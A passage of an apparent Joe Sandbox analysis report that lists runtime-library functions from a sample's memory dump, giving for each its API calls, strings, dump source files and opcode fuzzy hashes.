Part of subcall function 00F38C20: std::_Lockit::_Lockit.LIBCPMT ref: 00F38C50
Part of subcall function 00F38C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00F38C78

std::_Facet_Register.LIBCPMT ref: 00F42E6B
std::_Lockit::~_Lockit.LIBCPMT ref: 00F42E8B

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: da6f2a6c327c3850944594b39d306414b56ba4033021874b4c2fec8719f6127f
Instruction ID: 42cd417f7ed3b727901e139567ca4c4debd4a8afeb01891daa9667f7a953831a
Opcode Fuzzy Hash: da6f2a6c327c3850944594b39d306414b56ba4033021874b4c2fec8719f6127f
Instruction Fuzzy Hash: C701C432900619DBCB05EB64CC41ABE7B61BF94760F240959FD146B2D2CF789E05AB91

Uniqueness

Uniqueness Score: -1.00%

Function 00F42F33 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00F42F3A
std::_Lockit::_Lockit.LIBCPMT ref: 00F42F44

Part of subcall function 00F38C20: std::_Lockit::_Lockit.LIBCPMT ref: 00F38C50
Part of subcall function 00F38C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00F38C78

std::_Facet_Register.LIBCPMT ref: 00F42F95
std::_Lockit::~_Lockit.LIBCPMT ref: 00F42FB5

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: 7325409ab48030eec458f766c0680f65d1f0d6fe7bc8787080a7118726776d40
Instruction ID: d273f61df5bbd8bce04d0fc89b86185f8265fea8a235cc7fd53743a7070d9db4
Opcode Fuzzy Hash: 7325409ab48030eec458f766c0680f65d1f0d6fe7bc8787080a7118726776d40
Instruction Fuzzy Hash: 6101C431A00519DBCB05EBA49C416BEBB71BF84730F640559F9046B3D2CF789E05EB91

Uniqueness

Uniqueness Score: -1.00%

Function 00F73686 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,?,00F73053,?,00000001,?,?,?,00F72198,?,?,00000000), ref: 00F7369D
GetLastError.KERNEL32(?,00F73053,?,00000001,?,?,?,00F72198,?,?,00000000,?,?,?,00F7271F,?), ref: 00F736A9

Part of subcall function 00F7366F: CloseHandle.KERNEL32(FFFFFFFE,00F736B9,?,00F73053,?,00000001,?,?,?,00F72198,?,?,00000000,?,?), ref: 00F7367F

___initconout.LIBCMT ref: 00F736B9

Part of subcall function 00F73631: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00F73660,00F73040,?,?,00F72198,?,?,00000000,?), ref: 00F73644

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,00F73053,?,00000001,?,?,?,00F72198,?,?,00000000,?), ref: 00F736CE

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 7600343d96cf7cbcfadc6a4d8b011323be3dce8e084e2842d37f7c7539e989d9
Instruction ID: f5ca51e0338b9d00041cd7796d80c5cdc0057c86349d89a1316fcabd0ae4d597
Opcode Fuzzy Hash: 7600343d96cf7cbcfadc6a4d8b011323be3dce8e084e2842d37f7c7539e989d9
Instruction Fuzzy Hash: 4FF0AC3651425CBBCF626F95EC05D993F66FB087B1B448061FE1D96220D6328960FB92

Uniqueness

Uniqueness Score: -1.00%

Function 00F52D20 Relevance: 6.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

SleepConditionVariableCS.KERNELBASE(?,00F52CBD,00000064), ref: 00F52D43
LeaveCriticalSection.KERNEL32(00F8DD3C,?,?,00F52CBD,00000064,?,?,?,00F323B6,00F8E638,72A902E8,?,?,00F73D6D,000000FF), ref: 00F52D4D
WaitForSingleObjectEx.KERNEL32(?,00000000,?,00F52CBD,00000064,?,?,?,00F323B6,00F8E638,72A902E8,?,?,00F73D6D,000000FF), ref: 00F52D5E
EnterCriticalSection.KERNEL32(00F8DD3C,?,00F52CBD,00000064,?,?,?,00F323B6,00F8E638,72A902E8,?,?,00F73D6D,000000FF), ref: 00F52D65

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: CriticalSection$ConditionEnterLeaveObjectSingleSleepVariableWait
String ID:
API String ID: 3269011525-0
Opcode ID: adac9c210c07a0ec124efee90b6e29fa1af94c85e0af973fd1d756bd85735b26
Instruction ID: e2d7ead1b0fd70ef689d82a66bbe3cec9c82fbd8f237ffe6eb7588f862aafd12
Opcode Fuzzy Hash: adac9c210c07a0ec124efee90b6e29fa1af94c85e0af973fd1d756bd85735b26
Instruction Fuzzy Hash: 9DE0123355562CBBCB163B54EC08ADA7F39BF05B61B010051FA0A661B2D7615941BBD3

Uniqueness

Uniqueness Score: -1.00%

Function 00F3EC87 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 317COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00F3EC8E

Part of subcall function 00F3D87C: __EH_prolog3.LIBCMT ref: 00F3D883
Part of subcall function 00F3D87C: std::_Lockit::_Lockit.LIBCPMT ref: 00F3D88D
Part of subcall function 00F3D87C: std::_Lockit::~_Lockit.LIBCPMT ref: 00F3D8FE

_Find_elem.LIBCPMT ref: 00F3EE8A

Strings

0123456789ABCDEFabcdef-+Xx, xrefs: 00F3ECF6

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: Lockitstd::_$Find_elemH_prolog3H_prolog3_Lockit::_Lockit::~_
String ID: 0123456789ABCDEFabcdef-+Xx
API String ID: 2544715827-2799312399
Opcode ID: d3ed3ce00de6da83f4c1a4a2663802c2088fc254ec2b4527ae4029f96cb5b519
Instruction ID: b28642ffa36305a222e5ac1d4080302da44ae99ce4763b21f33fb81c7f325061
Opcode Fuzzy Hash: d3ed3ce00de6da83f4c1a4a2663802c2088fc254ec2b4527ae4029f96cb5b519
Instruction Fuzzy Hash: 56C18F35E042889EDF25DBB8C8407ECBBB2AF55320F294069E8856B3C7C7749D85EB51

Uniqueness

Uniqueness Score: -1.00%

Function 00F462BE Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 316COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00F462C8

Part of subcall function 00F42D74: __EH_prolog3.LIBCMT ref: 00F42D7B
Part of subcall function 00F42D74: std::_Lockit::_Lockit.LIBCPMT ref: 00F42D85
Part of subcall function 00F42D74: std::_Lockit::~_Lockit.LIBCPMT ref: 00F42DF6

_Find_elem.LIBCPMT ref: 00F46502

Strings

0123456789ABCDEFabcdef-+Xx, xrefs: 00F4633F

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: Lockitstd::_$Find_elemH_prolog3H_prolog3_Lockit::_Lockit::~_
String ID: 0123456789ABCDEFabcdef-+Xx
API String ID: 2544715827-2799312399
Opcode ID: 028d0d592a0552ecc1357c9bc8303b4b20c0b78e03a9b4be12bb49d4cfdf7f21
Instruction ID: 0fa03c27b7eaf24da48848d151da7b90cd2649181cb596d69bc7419f967b0e09
Opcode Fuzzy Hash: 028d0d592a0552ecc1357c9bc8303b4b20c0b78e03a9b4be12bb49d4cfdf7f21
Instruction Fuzzy Hash: 40C19370E042588ADF25DF68C8417BCBFB1BF16314F588099DC89EB286DB349C85EB52

Uniqueness

Uniqueness Score: -1.00%

Function 00F46694 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 316COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00F4669E

Part of subcall function 00F3B8B0: std::_Lockit::_Lockit.LIBCPMT ref: 00F3B8DD
Part of subcall function 00F3B8B0: std::_Lockit::_Lockit.LIBCPMT ref: 00F3B900
Part of subcall function 00F3B8B0: std::_Lockit::~_Lockit.LIBCPMT ref: 00F3B928
Part of subcall function 00F3B8B0: std::_Lockit::~_Lockit.LIBCPMT ref: 00F3B9B7

_Find_elem.LIBCPMT ref: 00F468D8

Strings

0123456789ABCDEFabcdef-+Xx, xrefs: 00F46715

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$Find_elemH_prolog3_
String ID: 0123456789ABCDEFabcdef-+Xx
API String ID: 3042121994-2799312399
Opcode ID: 01fcb1838a07d193ea8efc2226609bd96879ed11dc4e1a4ac537a093feb20da4
Instruction ID: 0ac4b3745aa7a34a63068922a4012f1bac3030f2d7185fefaa1111a051f2357d
Opcode Fuzzy Hash: 01fcb1838a07d193ea8efc2226609bd96879ed11dc4e1a4ac537a093feb20da4
Instruction Fuzzy Hash: 25C18130E042588BDF25DF64C8517ACBFB2BF12314F548099DC89EB282DB788D85EB52

Uniqueness

Uniqueness Score: -1.00%

Function 00F61A6D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 194COMMONLIBRARYCODE

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 00F61AFD

Strings

pow, xrefs: 00F61AD5, 00F61AF2

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: dc2709dc918e9e76310cf78198a6a277b94c5e44d2fa57aa3803b8a9c77382eb
Instruction ID: 5bf0a6f4a5c5073ab4dd1a24a1eaf3a91e0ed5e973ecf3bfe86dc056544bf0d1
Opcode Fuzzy Hash: dc2709dc918e9e76310cf78198a6a277b94c5e44d2fa57aa3803b8a9c77382eb
Instruction Fuzzy Hash: 97515C61E49205CACB117754CE1237E77A0FB40721F284958E0D5922A9FA3A8CD5BE87

Uniqueness

Uniqueness Score: -1.00%

Function 00F51E70 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 182COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00F51FD1

Strings

0123456789abcdefghijklmnopqrstuvwxyz, xrefs: 00F51F2F, 00F51F66, 00F51F6B
-, xrefs: 00F51FFF

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: __aulldiv
String ID: -$0123456789abcdefghijklmnopqrstuvwxyz
API String ID: 3732870572-1956417402
Opcode ID: 194e6d676b7896fc27234fba76c0aa4acfd93a59577db7df8cae8972153aa65d
Instruction ID: b5b19d3837358485fb38d125b9cff2d672e449445ab5f4d94370fb687a996228
Opcode Fuzzy Hash: 194e6d676b7896fc27234fba76c0aa4acfd93a59577db7df8cae8972153aa65d
Instruction Fuzzy Hash: BC512230F04284ABDB258E6C88817BE7FF57F46362F14415AEE81D7281C374A94AE760

Uniqueness

Uniqueness Score: -1.00%

Function 00F3BD90 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 167COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00F3BF6E

Strings

false, xrefs: 00F3BE95
true, xrefs: 00F3BEAB

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID: false$true
API String ID: 118556049-2658103896
Opcode ID: 3438cc7b02cfc3b665b2b0267e9f91f872c6f167da73d32409b4b5f45dda45e4
Instruction ID: 4c0b20f3768451d753a935661439597ab0e5da1f14d57ad2ad47b8c33471abe5
Opcode Fuzzy Hash: 3438cc7b02cfc3b665b2b0267e9f91f872c6f167da73d32409b4b5f45dda45e4
Instruction Fuzzy Hash: 0951C3B1D007489FDB10DFA4CC41BEEBBB8FF05314F14426AE905AB241E774AA85DB91

Uniqueness

Uniqueness Score: -1.00%

Function 00F370A0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 149COMMON

Download Yara Rule

Strings

\\?\UNC\, xrefs: 00F37173, 00F371CE
\\?\, xrefs: 00F371E3, 00F37210

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID:
String ID: \\?\$\\?\UNC\
API String ID: 0-3019864461
Opcode ID: b3799a7538d38035ffcc9266724ddf971b42c088090bd8e8fc43303388dd98c2
Instruction ID: 5c8a718c065953b5729153001b842001ddaf64e9f65ce919f837978c3a0fc526
Opcode Fuzzy Hash: b3799a7538d38035ffcc9266724ddf971b42c088090bd8e8fc43303388dd98c2
Instruction Fuzzy Hash: 7551C3B1A143049BDB24EFA4CC45BEEB7B5FF45724F10451DE801A7280DBB5A984EBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00F4D4FA Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 130COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00F4D501
_swprintf.LIBCMT ref: 00F4D573

Part of subcall function 00F4254E: __EH_prolog3.LIBCMT ref: 00F42555
Part of subcall function 00F4254E: std::_Lockit::_Lockit.LIBCPMT ref: 00F4255F
Part of subcall function 00F4254E: std::_Lockit::~_Lockit.LIBCPMT ref: 00F425D0

Part of subcall function 00F42FC8: __EH_prolog3.LIBCMT ref: 00F42FCF

Strings

%.0Lf, xrefs: 00F4D56B

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: H_prolog3Lockitstd::_$H_prolog3_Lockit::_Lockit::~__swprintf
String ID: %.0Lf
API String ID: 3050236999-1402515088
Opcode ID: ca0ecb6e588e30e2991599fc05f69a9c8f4c55c6cc1ea41b832adc33e984b927
Instruction ID: 54d6bc20734adda167996007d55e0a1b1a5fcf2dded29e76ef36e6e59942cb57
Opcode Fuzzy Hash: ca0ecb6e588e30e2991599fc05f69a9c8f4c55c6cc1ea41b832adc33e984b927
Instruction Fuzzy Hash: 74416972E00208ABCF05EFE4CC45AED7BB5FB08314F208449E845AB295EB799915EF91

Uniqueness

Uniqueness Score: -1.00%

Function 00F4D79E Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 130COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00F4D7A5
_swprintf.LIBCMT ref: 00F4D817

Part of subcall function 00F38610: std::_Lockit::_Lockit.LIBCPMT ref: 00F38657
Part of subcall function 00F38610: std::_Lockit::_Lockit.LIBCPMT ref: 00F38679
Part of subcall function 00F38610: std::_Lockit::~_Lockit.LIBCPMT ref: 00F386A1
Part of subcall function 00F38610: std::_Lockit::~_Lockit.LIBCPMT ref: 00F3880E

Strings

%.0Lf, xrefs: 00F4D80F

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3__swprintf
String ID: %.0Lf
API String ID: 1487807907-1402515088
Opcode ID: 2574dca44130a95da32d0e0b121ee40522de5db3cedffec1c75620d5430a54a2
Instruction ID: 3d2d3c6906d21ae752078375b394561f0407c76a3086619004a5e655f3bd44ea
Opcode Fuzzy Hash: 2574dca44130a95da32d0e0b121ee40522de5db3cedffec1c75620d5430a54a2
Instruction Fuzzy Hash: 7D416972E00308ABCF05DFD4DC45AEE7BB5FB08310F208449E945AB295EB399915EF90

Uniqueness

Uniqueness Score: -1.00%

Function 00F51887 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00F5188E
_swprintf.LIBCMT ref: 00F51900

Part of subcall function 00F39270: std::_Lockit::_Lockit.LIBCPMT ref: 00F392A0
Part of subcall function 00F39270: std::_Lockit::_Lockit.LIBCPMT ref: 00F392C2
Part of subcall function 00F39270: std::_Lockit::~_Lockit.LIBCPMT ref: 00F392EA
Part of subcall function 00F39270: std::_Lockit::~_Lockit.LIBCPMT ref: 00F39422

Strings

%.0Lf, xrefs: 00F518F8

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3__swprintf
String ID: %.0Lf
API String ID: 1487807907-1402515088
Opcode ID: 97fbf1766d9bd759b39759efd7bb179f76832808aac6d653b4868bea0191c611
Instruction ID: e3fb1121e732e19040d1d7a2378361600c1cfd4eb7bac8e54304a6986067a845
Opcode Fuzzy Hash: 97fbf1766d9bd759b39759efd7bb179f76832808aac6d653b4868bea0191c611
Instruction Fuzzy Hash: D9416872E00208ABCF05DFD4CC54ADD7BB5FF08311F208549E956AB291DB79AA19EF90

Uniqueness

Uniqueness Score: -1.00%

Function 00F56059 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 00F5607E

Strings

MOC, xrefs: 00F56090
RCC, xrefs: 00F56098

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 6fe09968ef61dc34d205fecb5fbfb5ea40e1e932f57a947b368772b8ed934edb
Instruction ID: fac77c736c70cd524441625ddf2f4a97f3befc87d1abe2dadc758b11973ab9cc
Opcode Fuzzy Hash: 6fe09968ef61dc34d205fecb5fbfb5ea40e1e932f57a947b368772b8ed934edb
Instruction Fuzzy Hash: F5418831D00609EFCF15DF98CC81AAEBBB6BF08311F188158FE18A7252D3399954EB50

Uniqueness

Uniqueness Score: -1.00%

Function 00F4DF8F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00F4DF96
__cftoe.LIBCMT ref: 00F4E01A

Strings

!%x, xrefs: 00F4DFA7

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: H_prolog3___cftoe
String ID: !%x
API String ID: 855520168-1893981228
Opcode ID: 826f9ff01f41c2348e8f6cde7de7c48a8b565be0b8bb9adc0685f8b6e840c9c3
Instruction ID: d1f51bb882d5159283e69f32e07dab1cddc9589a650cac6eab93433c4b75d484
Opcode Fuzzy Hash: 826f9ff01f41c2348e8f6cde7de7c48a8b565be0b8bb9adc0685f8b6e840c9c3
Instruction Fuzzy Hash: 11318B71D0020DEBDF04DF98E881AEEBBB6FF48314F104419F905A7251DB79AA49DB64

Uniqueness

Uniqueness Score: -1.00%

Function 00F519FA Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 98COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00F51A01
__cftoe.LIBCMT ref: 00F51A7F

Strings

!%x, xrefs: 00F51A15

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: H_prolog3___cftoe
String ID: !%x
API String ID: 855520168-1893981228
Opcode ID: ee0aa8fd6db1a64965e9bbc616a427f0016edf76033f2694c67caf1cc178f137
Instruction ID: 09744c04664cd3f027451f50d36265e08ce6fe851eb23ad5b87494e88b3d52a5
Opcode Fuzzy Hash: ee0aa8fd6db1a64965e9bbc616a427f0016edf76033f2694c67caf1cc178f137
Instruction Fuzzy Hash: 4A315A32D15258AFEF01DF98DC41BEEBBB5BF09311F100019F944A7242D779AA49EBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00F35F40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

ConvertSidToStringSidW.ADVAPI32(?,00000000), ref: 00F35F86
LocalFree.KERNEL32(00000000,Invalid SID,0000000B,?,00000000,72A902E8), ref: 00F35FF6

Strings

Invalid SID, xrefs: 00F35FD4

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

